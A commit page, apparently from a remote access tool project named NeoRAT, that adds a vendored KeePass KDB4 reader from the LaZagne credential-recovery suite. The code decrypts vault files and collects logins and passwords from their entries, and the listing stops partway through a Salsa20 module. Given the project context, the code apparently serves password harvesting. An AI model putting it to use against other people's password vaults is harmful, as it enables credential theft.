summaryrefslogtreecommitdiff
path: root/foreign/client_handling/lazagne/softwares/memory/libkeepass
diff options
context:
space:
mode:
authorAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
committerAL-LCL <alvin@alvinhavel.com>2023-05-19 11:01:49 +0200
commit20dbeb2f38684c65ff0a4b99012c161295708e88 (patch)
treea5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/memory/libkeepass
NeoRATHEADmain
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/memory/libkeepass')
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py68
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py288
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py53
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py114
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py419
-rw-r--r--foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py353
6 files changed, 1295 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py
new file mode 100644
index 0000000..6a6eec1
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/__init__.py
@@ -0,0 +1,68 @@
+# -*- coding: utf-8 -*-
+import io
+from contextlib import contextmanager
+
+from .common import read_signature
+# from kdb3 import KDB3Reader, KDB3_SIGNATURE
+from .kdb4 import KDB4Reader, KDB4_SIGNATURE
+
+BASE_SIGNATURE = 0x9AA2D903
+
+_kdb_readers = {
+ # KDB3_SIGNATURE[1]: KDB3Reader,
+ #0xB54BFB66: KDB4Reader, # pre2.x may work, untested
+ KDB4_SIGNATURE[1]: KDB4Reader,
+ }
+
+@contextmanager
+def open(filename, **credentials):
+ """
+ A contextmanager to open the KeePass file with `filename`. Use a `password`
+ and/or `keyfile` named argument for decryption.
+
+ Files are identified using their signature and a reader suitable for
+ the file format is intialized and returned.
+
+ Note: `keyfile` is currently not supported for v3 KeePass files.
+ """
+ kdb = None
+ try:
+ with io.open(filename, 'rb') as stream:
+ signature = read_signature(stream)
+ cls = get_kdb_reader(signature)
+ kdb = cls(stream, **credentials)
+ yield kdb
+ kdb.close()
+ except Exception:
+ if kdb: kdb.close()
+ raise
+
+def add_kdb_reader(sub_signature, cls):
+ """
+ Add or overwrite the class used to process a KeePass file.
+
+ KeePass uses two signatures to identify files. The base signature is
+ always `0x9AA2D903`. The second/sub signature varies. For example
+ KeePassX uses the v3 sub signature `0xB54BFB65` and KeePass2 the v4 sub
+ signature `0xB54BFB67`.
+
+ Use this method to add or replace a class by givin a `sub_signature` as
+ integer and a class, which should be a subclass of
+ `keepass.common.KDBFile`.
+ """
+ _kdb_readers[sub_signature] = cls
+
+def get_kdb_reader(signature):
+ """
+ Retrieve the class used to process a KeePass file by `signature`, which
+ is a a tuple or list with two elements. The first being the base signature
+ and the second the sub signature as integers.
+ """
+ if signature[0] != BASE_SIGNATURE:
+ raise IOError('Unknown base signature.')
+
+ if signature[1] not in _kdb_readers:
+ raise IOError('Unknown sub signature.')
+
+ return _kdb_readers[signature[1]]
+
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py
new file mode 100644
index 0000000..9a78a40
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/common.py
@@ -0,0 +1,288 @@
+# -*- coding: utf-8 -*-
+import base64
+import codecs
+import io
+import struct
+from xml.etree import ElementTree
+
+from .crypto import sha256
+
+try:
+ file_types = (file, io.IOBase)
+except NameError:
+ file_types = (io.IOBase,)
+
+
+# file header
+class HeaderDictionary(dict):
+ """
+ A dictionary on steroids for comfortable header field storage and
+ manipulation.
+
+ Header fields must be defined in the `fields` property before filling the
+ dictionary with data. The `fields` property is a simple dictionary, where
+ keys are field names (string) and values are field ids (int)::
+
+ >>> h.fields['rounds'] = 4
+
+ Now you can set and get values using the field id or the field name
+ interchangeably::
+
+ >>> h[4] = 3000
+ >>> print h['rounds']
+ 3000
+ >>> h['rounds'] = 6000
+ >>> print h[4]
+ 6000
+
+ It is also possible to get and set data using the field name as an
+ attribute::
+
+ >>> h.rounds = 9000
+ >>> print h[4]
+ 9000
+ >>> print h.rounds
+ 9000
+
+ For some fields it is more comfortable to unpack their byte value into
+ a numeric or character value (eg. the transformation rounds). For those
+ fields add a format string to the `fmt` dictionary. Use the field id as
+ key::
+
+ >>> h.fmt[4] = '<q'
+
+ Continue setting the value as before if you have it as a number and if you
+ need it as a number, get it like before. Only when you have the packed value
+ use a different interface::
+
+ >>> h.b.rounds = '\x70\x17\x00\x00\x00\x00\x00\x00'
+ >>> print h.b.rounds
+ '\x70\x17\x00\x00\x00\x00\x00\x00'
+ >>> print h.rounds
+ 6000
+
+ The `b` (binary?) attribute is a special way to set and get data in its
+ packed format, while the usual attribute or dictionary access allows
+ setting and getting a numeric value::
+
+ >>> h.rounds = 3000
+ >>> print h.b.rounds
+ '\xb8\x0b\x00\x00\x00\x00\x00\x00'
+ >>> print h.rounds
+ 3000
+
+ """
+ fields = {}
+ fmt = {}
+
+ def __init__(self, *args):
+ dict.__init__(self, *args)
+
+ def __getitem__(self, key):
+ if isinstance(key, int):
+ return dict.__getitem__(self, key)
+ else:
+ return dict.__getitem__(self, self.fields[key])
+
+ def __setitem__(self, key, val):
+ if isinstance(key, int):
+ dict.__setitem__(self, key, val)
+ else:
+ dict.__setitem__(self, self.fields[key], val)
+
+ def __getattr__(self, key):
+ class wrap(object):
+ def __init__(self, d):
+ object.__setattr__(self, 'd', d)
+
+ def __getitem__(self, key):
+ fmt = self.d.fmt.get(self.d.fields.get(key, key))
+ if fmt:
+ return struct.pack(fmt, self.d[key])
+ else:
+ return self.d[key]
+
+ __getattr__ = __getitem__
+
+ def __setitem__(self, key, val):
+ fmt = self.d.fmt.get(self.d.fields.get(key, key))
+ if fmt:
+ self.d[key] = struct.unpack(fmt, val)[0]
+ else:
+ self.d[key] = val
+
+ __setattr__ = __setitem__
+
+ if key == 'b':
+ return wrap(self)
+ try:
+ return self.__getitem__(key)
+ except KeyError:
+ raise AttributeError(key)
+
+ def __setattr__(self, key, val):
+ try:
+ return self.__setitem__(key, val)
+ except KeyError:
+ return dict.__setattr__(self, key, val)
+
+
+# file baseclass
+class KDBFile(object):
+ def __init__(self, stream=None, **credentials):
+ # list of hashed credentials (pre-transformation)
+ self.keys = []
+ self.add_credentials(**credentials)
+
+ # the buffer containing the decrypted/decompressed payload from a file
+ self.in_buffer = None
+ # the buffer filled with data for writing back to a file before
+ # encryption/compression
+ self.out_buffer = None
+ # position in the `in_buffer` where the payload begins
+ self.header_length = None
+ # decryption success flag, set this to true upon verification of the
+ # encryption masterkey. if this is True `in_buffer` must contain
+ # clear data.
+ self.opened = False
+
+ # the raw/basic file handle, expect it to be closed after __init__!
+ if stream is not None:
+ if not isinstance(stream, io.IOBase):
+ raise TypeError('Stream does not have the buffer interface.')
+ self.read_from(stream)
+
+ def read_from(self, stream):
+ if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):
+ raise TypeError('Stream does not have the buffer interface.')
+ self._read_header(stream)
+ self._decrypt(stream)
+
+ def _read_header(self, stream):
+ raise NotImplementedError('The _read_header method was not '
+ 'implemented propertly.')
+
+ def _decrypt(self, stream):
+ self._make_master_key()
+ # move read pointer beyond the file header
+ if self.header_length is None:
+ raise IOError('Header length unknown. Parse the header first!')
+ stream.seek(self.header_length)
+
+ def write_to(self, stream):
+ raise NotImplementedError('The write_to() method was not implemented.')
+
+ def add_credentials(self, **credentials):
+ if credentials.get('password'):
+ self.add_key_hash(sha256(credentials['password']))
+ if credentials.get('keyfile'):
+ self.add_key_hash(load_keyfile(credentials['keyfile']))
+
+ def clear_credentials(self):
+ """Remove all previously set encryption key hashes."""
+ self.keys = []
+
+ def add_key_hash(self, key_hash):
+ """
+ Add an encryption key hash, can be a hashed password or a hashed
+ keyfile. Two things are important: must be SHA256 hashes and sequence is
+ important: first password if any, second key file if any.
+ """
+ if key_hash is not None:
+ self.keys.append(key_hash)
+
+ def _make_master_key(self):
+ if len(self.keys) == 0:
+ raise IndexError('No credentials found.')
+
+ def close(self):
+ if self.in_buffer:
+ self.in_buffer.close()
+
+ def read(self, n=-1):
+ """
+ Read the decrypted and uncompressed data after the file header.
+ For example, in KDB4 this would be plain, utf-8 xml.
+
+ Note that this is the source data for the lxml.objectify element tree
+ at `self.obj_root`. Any changes made to the parsed element tree will
+ NOT be reflected in that data stream! Use `self.pretty_print` to get
+ XML output from the element tree.
+ """
+ if self.in_buffer:
+ return self.in_buffer.read(n)
+
+ def seek(self, offset, whence=io.SEEK_SET):
+ if self.in_buffer:
+ return self.in_buffer.seek(offset, whence)
+
+ def tell(self):
+ if self.in_buffer:
+ return self.in_buffer.tell()
+
+
+# loading keyfiles
+def load_keyfile(filename):
+ try:
+ return load_xml_keyfile(filename)
+ except Exception:
+ pass
+ try:
+ return load_plain_keyfile(filename)
+ except Exception:
+ pass
+
+
+def load_xml_keyfile(filename):
+ """
+ // Sample XML file:
+ // <?xml version="1.0" encoding="utf-8"?>
+ // <KeyFile>
+ // <Meta>
+ // <Version>1.00</Version>
+ // </Meta>
+ // <Key>
+ // <Data>ySFoKuCcJblw8ie6RkMBdVCnAf4EedSch7ItujK6bmI=</Data>
+ // </Key>
+ // </KeyFile>
+ """
+ with open(filename, 'r') as f:
+ # ignore meta, currently there is only version "1.00"
+ tree = ElementTree.parse(f).getroot()
+ # read text from key, data and convert from base64
+ return base64.b64decode(tree.find('Key/Data').text)
+ # raise IOError('Could not parse XML keyfile.')
+
+
+def load_plain_keyfile(filename):
+ """
+ A "plain" keyfile is a file containing only the key.
+ Any other file (JPEG, MP3, ...) can also be used as keyfile.
+ """
+ with open(filename, 'rb') as f:
+ key = f.read()
+ # if the length is 32 bytes we assume it is the key
+ if len(key) == 32:
+ return key
+ # if the length is 64 bytes we assume the key is hex encoded
+ if len(key) == 64:
+ return codecs.decode(key, 'hex')
+ # anything else may be a file to hash for the key
+ return sha256(key)
+ # raise IOError('Could not read keyfile.')
+
+
+def stream_unpack(stream, offset, length, typecode='I'):
+ if offset is not None:
+ stream.seek(offset)
+ data = stream.read(length)
+ return struct.unpack('<' + typecode, data)[0]
+
+
+def read_signature(stream):
+ sig1 = stream_unpack(stream, 0, 4)
+ sig2 = stream_unpack(stream, None, 4)
+ # ver_minor = stream_unpack(stream, None, 2, 'h')
+ # ver_major = stream_unpack(stream, None, 2, 'h')
+ # return (sig1, sig2, ver_major, ver_minor)
+ return sig1, sig2
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py
new file mode 100644
index 0000000..3e7ad67
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/crypto.py
@@ -0,0 +1,53 @@
+# -*- coding: utf-8 -*-
+import hashlib
+import struct
+
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationECB, AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int
+
+AES_BLOCK_SIZE = 16
+
+
+def sha256(s):
+ """Return SHA256 digest of the string `s`."""
+ return hashlib.sha256(s).digest()
+
+
+def transform_key(key, seed, rounds):
+ """Transform `key` with `seed` `rounds` times using AES ECB."""
+ # create transform cipher with transform seed
+ cipher = AESModeOfOperationECB(seed)
+ # transform composite key rounds times
+ for n in range(0, rounds):
+ key = b"".join([cipher.encrypt(key[i:i + AES_BLOCK_SIZE]) for i in range(0, len(key), AES_BLOCK_SIZE)])
+ # return hash of transformed key
+ return sha256(key)
+
+
+def aes_cbc_decrypt(data, key, enc_iv):
+ """Decrypt and return `data` with AES CBC."""
+ cipher = AESModeOfOperationCBC(key, iv=enc_iv)
+ return b"".join([cipher.decrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
+
+
+def aes_cbc_encrypt(data, key, enc_iv):
+ cipher = AESModeOfOperationCBC(key, iv=enc_iv)
+ return b"".join([cipher.encrypt(data[i:i + AES_BLOCK_SIZE]) for i in range(0, len(data), AES_BLOCK_SIZE)])
+
+
+def unpad(data):
+ extra = char_to_int(data[-1])
+ return data[:len(data) - extra]
+
+
+def pad(s):
+ n = AES_BLOCK_SIZE - len(s) % AES_BLOCK_SIZE
+ return s + n * struct.pack('b', n)
+
+
+def xor(aa, bb):
+ """Return a bytearray of a bytewise XOR of `aa` and `bb`."""
+ result = bytearray()
+ for a, b in zip(bytearray(aa), bytearray(bb)):
+ result.append(a ^ b)
+ return result
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py
new file mode 100644
index 0000000..ade6e96
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/hbio.py
@@ -0,0 +1,114 @@
+# -*- coding: utf-8 -*-
+import hashlib
+import io
+import struct
+
+# default from KeePass2 source
+BLOCK_LENGTH = 1024 * 1024
+
+try:
+ file_types = (file, io.IOBase)
+except NameError:
+ file_types = (io.IOBase,)
+
+# HEADER_LENGTH = 4+32+4
+
+def read_int(stream, length):
+ try:
+ return struct.unpack('<I', stream.read(length))[0]
+ except Exception:
+ return None
+
+
+class HashedBlockIO(io.BytesIO):
+ """
+ The data is stored in hashed blocks. Each block consists of a block index (4
+ bytes), the hash (32 bytes) and the block length (4 bytes), followed by the
+ block data. The block index starts counting at 0. The block hash is a
+ SHA-256 hash of the block data. A block has a maximum length of
+ BLOCK_LENGTH, but can be shorter.
+
+ Provide a I/O stream containing the hashed block data as the `block_stream`
+ argument when creating a HashedBlockReader. Alternatively the `bytes`
+ argument can be used to hand over data as a string/bytearray/etc. The data
+ is verified upon initialization and an IOError is raised when a hash does
+ not match.
+
+ HashedBlockReader is a subclass of io.BytesIO. The inherited read, seek, ...
+ functions shall be used to access the verified data.
+ """
+
+ def __init__(self, block_stream=None, bytes=None):
+ io.BytesIO.__init__(self)
+ input_stream = None
+ if block_stream is not None:
+ if not (isinstance(block_stream, io.IOBase) or isinstance(block_stream, file_types)):
+ raise TypeError('Stream does not have the buffer interface.')
+ input_stream = block_stream
+ elif bytes is not None:
+ input_stream = io.BytesIO(bytes)
+ if input_stream is not None:
+ self.read_block_stream(input_stream)
+
+ def read_block_stream(self, block_stream):
+ """
+ Read the whole block stream into the self-BytesIO.
+ """
+ if not (isinstance(block_stream, io.IOBase) or isinstance(block_stream, file_types)):
+ raise TypeError('Stream does not have the buffer interface.')
+ while True:
+ data = self._next_block(block_stream)
+ if not self.write(data):
+ break
+ self.seek(0)
+
+ def _next_block(self, block_stream):
+ """
+ Read the next block and verify the data.
+ Raises an IOError if the hash does not match.
+ """
+ index = read_int(block_stream, 4)
+ bhash = block_stream.read(32)
+ length = read_int(block_stream, 4)
+
+ if length > 0:
+ data = block_stream.read(length)
+ if hashlib.sha256(data).digest() == bhash:
+ return data
+ else:
+ raise IOError('Block hash mismatch error.')
+ return bytes()
+
+ def write_block_stream(self, stream, block_length=BLOCK_LENGTH):
+ """
+ Write all data in this buffer, starting at stream position 0, formatted
+ in hashed blocks to the given `stream`.
+
+ For example, writing data from one file into another as hashed blocks::
+
+ # create new hashed block io without input stream or data
+ hb = HashedBlockIO()
+ # read from a file, write into the empty hb
+ with open('sample.dat', 'rb') as infile:
+ hb.write(infile.read())
+ # write from the hb into a new file
+ with open('hb_sample.dat', 'w') as outfile:
+ hb.write_block_stream(outfile)
+ """
+ if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):
+ raise TypeError('Stream does not have the buffer interface.')
+ index = 0
+ self.seek(0)
+ while True:
+ data = self.read(block_length)
+ if data:
+ stream.write(struct.pack('<I', index))
+ stream.write(hashlib.sha256(data).digest())
+ stream.write(struct.pack('<I', len(data)))
+ stream.write(data)
+ index += 1
+ else:
+ stream.write(struct.pack('<I', index))
+ stream.write('\x00' * 32)
+ stream.write(struct.pack('<I', 0))
+ break
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py
new file mode 100644
index 0000000..b40760e
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/kdb4.py
@@ -0,0 +1,419 @@
+# -*- coding: utf-8 -*-
+import base64
+import gzip
+import io
+import xml.etree.ElementTree as ElementTree
+import zlib
+import codecs
+
+from .common import KDBFile, HeaderDictionary
+from .common import stream_unpack
+from .crypto import transform_key, pad, unpad
+from .crypto import xor, sha256, aes_cbc_decrypt, aes_cbc_encrypt
+from .hbio import HashedBlockIO
+from .pureSalsa20 import Salsa20
+
+
+KDB4_SALSA20_IV = codecs.decode('e830094b97205d2a', 'hex')
+KDB4_SIGNATURE = (0x9AA2D903, 0xB54BFB67)
+
+try:
+ file_types = (file, io.IOBase)
+except NameError:
+ file_types = (io.IOBase,)
+
+
+class KDB4Header(HeaderDictionary):
+ fields = {
+ 'EndOfHeader': 0,
+ 'Comment': 1,
+ # cipher used for the data stream after the header
+ 'CipherID': 2,
+ # indicates whether decrypted data stream is gzip compressed
+ 'CompressionFlags': 3,
+ #
+ 'MasterSeed': 4,
+ #
+ 'TransformSeed': 5,
+ #
+ 'TransformRounds': 6,
+ #
+ 'EncryptionIV': 7,
+ # key used to protect data in xml
+ 'ProtectedStreamKey': 8,
+ # first 32 bytes of the decrypted data stream after the header
+ 'StreamStartBytes': 9,
+ # cipher used to protect data in xml (ARC4 or Salsa20)
+ 'InnerRandomStreamID': 10,
+ }
+
+ fmt = {3: '<I', 6: '<q'}
+
+
+class KDB4File(KDBFile):
+ def __init__(self, stream=None, **credentials):
+ self.header = KDB4Header()
+ KDBFile.__init__(self, stream, **credentials)
+
+ def set_compression(self, flag=1):
+ """Dis- (0) or enable (default: 1) compression"""
+ if flag not in [0, 1]:
+ raise ValueError('Compression flag can be 0 or 1.')
+ self.header.CompressionFlags = flag
+
+ # def set_comment(self, comment):
+ # self.header.Comment = comment
+
+ def read_from(self, stream):
+ """
+ Read, parse, decrypt, decompress a KeePass file from a stream.
+
+ :arg stream: A file-like object (opened in 'rb' mode) or IO buffer
+ containing a KeePass file.
+ """
+ super(KDB4File, self).read_from(stream)
+ if self.header.CompressionFlags == 1:
+ self._unzip()
+
+ # def write_to(self, stream):
+ # """
+ # Write the KeePass database back to a KeePass2 compatible file.
+
+ # :arg stream: A writeable file-like object or IO buffer.
+ # """
+ # if not (isinstance(stream, io.IOBase) or isinstance(stream, file_types)):
+ # raise TypeError('Stream does not have the buffer interface.')
+
+ # self._write_header(stream)
+
+ def _read_header(self, stream):
+ """
+ Parse the header and write the values into self.header. Also sets
+ self.header_length.
+ """
+ # KeePass 2.07 has version 1.01,
+ # 2.08 has 1.02,
+ # 2.09 has 2.00, 2.10 has 2.02, 2.11 has 2.04,
+ # 2.15 has 3.00.
+ # The first 2 bytes are critical (i.e. loading will fail, if the
+ # file version is too high), the last 2 bytes are informational.
+ # TODO implement version check
+
+ # the first header field starts at byte 12 after the signature
+ stream.seek(12)
+
+ while True:
+ # field_id is a single byte
+ field_id = stream_unpack(stream, None, 1, 'b')
+
+ # field_id >10 is undefined
+ if field_id not in self.header.fields.values():
+ raise IOError('Unknown header field found.')
+
+ # two byte (short) length of field data
+ length = stream_unpack(stream, None, 2, 'h')
+ if length > 0:
+ data = stream_unpack(stream, None, length, '{}s'.format(length))
+ self.header.b[field_id] = data
+
+ # set position in data stream of end of header
+ if field_id == 0:
+ self.header_length = stream.tell()
+ break
+
+ # def _write_header(self, stream):
+ # """Serialize the header fields from self.header into a byte stream, prefix
+ # with file signature and version before writing header and out-buffer
+ # to `stream`.
+
+ # Note, that `stream` is flushed, but not closed!"""
+ # # serialize header to stream
+ # header = bytearray()
+ # # write file signature
+ # header.extend(struct.pack('<II', *KDB4_SIGNATURE))
+ # # and version
+ # header.extend(struct.pack('<hh', 0, 3))
+
+ # field_ids = self.header.keys()
+ # field_ids.sort()
+ # field_ids.reverse() # field_id 0 must be last
+ # for field_id in field_ids:
+ # value = self.header.b[field_id]
+ # length = len(value)
+ # header.extend(struct.pack('<b', field_id))
+ # header.extend(struct.pack('<h', length))
+ # header.extend(struct.pack('{}s'.format(length), value))
+
+ # # write header to stream
+ # stream.write(header)
+
+ # headerHash = base64.b64encode(sha256(header))
+ # self.obj_root.Meta.HeaderHash = headerHash
+
+ # # create HeaderHash if it does not exist
+ # if len(self.obj_root.Meta.xpath("HeaderHash")) < 1:
+ # etree.SubElement(self.obj_root.Meta, "HeaderHash")
+
+ # # reload out_buffer because we just changed the HeaderHash
+ # self.protect()
+ # self.out_buffer = io.BytesIO(self.pretty_print())
+
+ # # zip or not according to header setting
+ # if self.header.CompressionFlags == 1:
+ # self._zip()
+
+ # self._encrypt();
+
+ # # write encrypted block to stream
+ # stream.write(self.out_buffer)
+ # stream.flush()
+
+ def _decrypt(self, stream):
+ """
+ Build the master key from header settings and key-hash list.
+
+ Start reading from `stream` after the header and decrypt all the data.
+ Remove padding as needed and feed into hashed block reader, set as
+ in-buffer.
+ """
+ super(KDB4File, self)._decrypt(stream)
+
+ data = aes_cbc_decrypt(stream.read(), self.master_key,
+ self.header.EncryptionIV)
+ data = unpad(data)
+
+ length = len(self.header.StreamStartBytes)
+ if self.header.StreamStartBytes == data[:length]:
+ # skip startbytes and wrap data in a hashed block io
+ self.in_buffer = HashedBlockIO(bytes=data[length:])
+ # set successful decryption flag
+ self.opened = True
+ else:
+ raise IOError('Master key invalid.')
+
+ def _encrypt(self):
+ """
+ Rebuild the master key from header settings and key-hash list. Encrypt
+ the stream start bytes and the out-buffer formatted as hashed block
+ stream with padding added as needed.
+ """
+ # rebuild master key from (possibly) updated header
+ self._make_master_key()
+
+ # make hashed block stream
+ block_buffer = HashedBlockIO()
+ block_buffer.write(self.out_buffer.read())
+ # data is buffered in hashed block io, start a new one
+ self.out_buffer = io.BytesIO()
+ # write start bytes (for successful decrypt check)
+ self.out_buffer.write(self.header.StreamStartBytes)
+ # append blocked data to out-buffer
+ block_buffer.write_block_stream(self.out_buffer)
+ block_buffer.close()
+ self.out_buffer.seek(0)
+
+ # encrypt the whole thing with header settings and master key
+ data = pad(self.out_buffer.read())
+ self.out_buffer = aes_cbc_encrypt(data, self.master_key,
+ self.header.EncryptionIV)
+
+ def _unzip(self):
+ """
+ Inplace decompress in-buffer. Read/write position is moved to 0.
+ """
+ self.in_buffer.seek(0)
+ d = zlib.decompressobj(16 + zlib.MAX_WBITS)
+ self.in_buffer = io.BytesIO(d.decompress(self.in_buffer.read()))
+ self.in_buffer.seek(0)
+
+ def _zip(self):
+ """
+ Inplace compress out-buffer. Read/write position is moved to 0.
+ """
+ data = self.out_buffer.read()
+ self.out_buffer = io.BytesIO()
+ # note: compresslevel=6 seems to be important for kdb4!
+ gz = gzip.GzipFile(fileobj=self.out_buffer, mode='wb', compresslevel=6)
+ gz.write(data)
+ gz.close()
+ self.out_buffer.seek(0)
+
+ def _make_master_key(self):
+ """
+ Make the master key by (1) combining the credentials to create
+ a composite hash, (2) transforming the hash using the transform seed
+ for a specific number of rounds and (3) finally hashing the result in
+ combination with the master seed.
+ """
+ super(KDB4File, self)._make_master_key()
+ composite = sha256(''.join(self.keys))
+ tkey = transform_key(composite,
+ self.header.TransformSeed,
+ self.header.TransformRounds)
+ self.master_key = sha256(self.header.MasterSeed + tkey)
+
+
+class KDBXmlExtension:
+ """
+ The KDB4 payload is a XML document. For easier use this class provides
+ a lxml.objectify'ed version of the XML-tree as the `obj_root` attribute.
+
+ More importantly though in the XML document text values can be protected
+ using Salsa20. Protected elements are unprotected by default (passwords are
+ in clear). You can override this with the `unprotect=False` argument.
+ """
+
+ def __init__(self, unprotect=True):
+ self._salsa_buffer = bytearray()
+ self.salsa = Salsa20(
+ sha256(self.header.ProtectedStreamKey),
+ KDB4_SALSA20_IV)
+
+ self.in_buffer.seek(0)
+ # self.tree = objectify.parse(self.in_buffer)
+ # self.obj_root = self.tree.getroot()
+ self.obj_root = ElementTree.fromstring(self.in_buffer.read())
+
+ if unprotect:
+ self.unprotect()
+
+ def unprotect(self):
+ """
+ Find all elements with a 'Protected=True' attribute and replace the text
+ with an unprotected value in the XML element tree. The original text is
+ set as 'ProtectedValue' attribute and the 'Protected' attribute is set
+ to 'False'. The 'ProtectPassword' element in the 'Meta' section is also
+ set to 'False'.
+ """
+ self._reset_salsa()
+ for elem in self.obj_root.iterfind('.//Value[@Protected="True"]'):
+ if elem.text is not None:
+ elem.set('ProtectedValue', elem.text)
+ elem.set('Protected', 'False')
+ elem.text = self._unprotect(elem.text)
+
+ # def protect(self):
+ # """
+ # Find all elements with a 'Protected=False' attribute and replace the
+ # text with a protected value in the XML element tree. If there was a
+ # 'ProtectedValue' attribute, it is deleted and the 'Protected' attribute
+ # is set to 'True'. The 'ProtectPassword' element in the 'Meta' section is
+ # also set to 'True'.
+
+ # This does not just restore the previous protected value, but reencrypts
+ # all text values of elements with 'Protected=False'. So you could use
+ # this after modifying a password, adding a completely new entry or
+ # deleting entry history items.
+ # """
+ # self._reset_salsa()
+ # self.obj_root.Meta.MemoryProtection.ProtectPassword._setText('True')
+ # for elem in self.obj_root.iterfind('.//Value[@Protected="False"]'):
+ # etree.strip_attributes(elem, 'ProtectedValue')
+ # elem.set('Protected', 'True')
+ # elem._setText(self._protect(elem.text))
+
+ # def pretty_print(self):
+ # """Return a serialization of the element tree."""
+ # return etree.tostring(self.obj_root, pretty_print=True,
+ # encoding='utf-8', standalone=True)
+
+ def to_dic(self):
+ """Return a dictionnary of the element tree."""
+ pwd_found = []
+ # print etree.tostring(self.obj_root)
+ root = ElementTree.fromstring(ElementTree.tostring(self.obj_root))
+ for entry in root.findall('.//Root//Entry'):
+ dic = {}
+ for elem in entry.iter('String'):
+ try:
+ if elem[0].text == 'UserName':
+ dic['Login'] = elem[1].text
+ else:
+ # Replace new line by a point
+ dic[elem[0].text] = elem[1].text.replace('\n', '.')
+ except Exception as e:
+ # print e
+ pass
+ pwd_found.append(dic)
+ return pwd_found
+
+ # def write_to(self, stream):
+ # """Serialize the element tree to the out-buffer."""
+ # if self.out_buffer is None:
+ # self.protect()
+ # self.out_buffer = io.BytesIO(self.pretty_print())
+
+ def _reset_salsa(self):
+ """Clear the salsa buffer and reset algorithm counter to 0."""
+ self._salsa_buffer = bytearray()
+ self.salsa.set_counter(0)
+
+ def _get_salsa(self, length):
+ """
+ Returns the next section of the "random" Salsa20 bytes with the
+ requested `length`.
+ """
+ while length > len(self._salsa_buffer):
+ new_salsa = self.salsa.encrypt_bytes(str(bytearray(64)))
+ self._salsa_buffer.extend(new_salsa)
+ nacho = self._salsa_buffer[:length]
+ del self._salsa_buffer[:length]
+ return nacho
+
+ def _unprotect(self, string):
+ """
+ Base64 decode and XOR the given `string` with the next salsa.
+ Returns an unprotected string.
+ """
+ tmp = base64.b64decode(string)
+ return str(xor(tmp, self._get_salsa(len(tmp))))
+
+ def _protect(self, string):
+ """
+ XORs the given `string` with the next salsa and base64 encodes it.
+ Returns a protected string.
+ """
+ tmp = str(xor(string, self._get_salsa(len(string))))
+ return base64.b64encode(tmp)
+
+
+class KDB4Reader(KDB4File, KDBXmlExtension):
+ """
+ Usually you would want to use the `keepass.open` context manager to open a
+ file. It checks the file signature and creates a suitable reader-instance.
+
+ doing it by hand is also possible::
+
+ kdb = keepass.KDB4Reader()
+ kdb.add_credentials(password='secret')
+ with open('passwords.kdb', 'rb') as fh:
+ kdb.read_from(fh)
+
+ or...::
+
+ with open('passwords.kdb', 'rb') as fh:
+ kdb = keepass.KDB4Reader(fh, password='secret')
+
+ """
+
+ def __init__(self, stream=None, **credentials):
+ KDB4File.__init__(self, stream, **credentials)
+
+ def read_from(self, stream, unprotect=True):
+ KDB4File.read_from(self, stream)
+ # the extension requires parsed header and decrypted self.in_buffer, so
+ # initialize only here
+ KDBXmlExtension.__init__(self, unprotect)
+
+ # def write_to(self, stream, use_etree=True):
+ # """
+ # Write the KeePass database back to a KeePass2 compatible file.
+
+ # :arg stream: A file-like object or IO buffer.
+ # :arg use_tree: Serialize the element tree to XML to save (default:
+ # True), Set to False to write the data currently in the in-buffer
+ # instead.
+ # """
+ # if use_etree:
+ # KDBXmlExtension.write_to(self, stream)
+ # KDB4File.write_to(self, stream)
diff --git a/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py b/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py
new file mode 100644
index 0000000..ae0641a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/memory/libkeepass/pureSalsa20.py
@@ -0,0 +1,353 @@
+#!/usr/bin/env python
+# coding: utf-8
+
+"""
+ pureSalsa20.py -- a pure Python implementation of the Salsa20 cipher
+ ====================================================================
+ There are comments here by two authors about three pieces of software:
+ comments by Larry Bugbee about
+ Salsa20, the stream cipher by Daniel J. Bernstein
+ (including comments about the speed of the C version) and
+ pySalsa20, Bugbee's own Python wrapper for salsa20.c
+ (including some references), and
+ comments by Steve Witham about
+ pureSalsa20, Witham's pure Python 2.5 implementation of Salsa20,
+ which follows pySalsa20's API, and is in this file.
+
+ Salsa20: a Fast Streaming Cipher (comments by Larry Bugbee)
+ -----------------------------------------------------------
+
+ Salsa20 is a fast stream cipher written by Daniel Bernstein
+ that basically uses a hash function and XOR making for fast
+ encryption. (Decryption uses the same function.) Salsa20
+ is simple and quick.
+
+ Some Salsa20 parameter values...
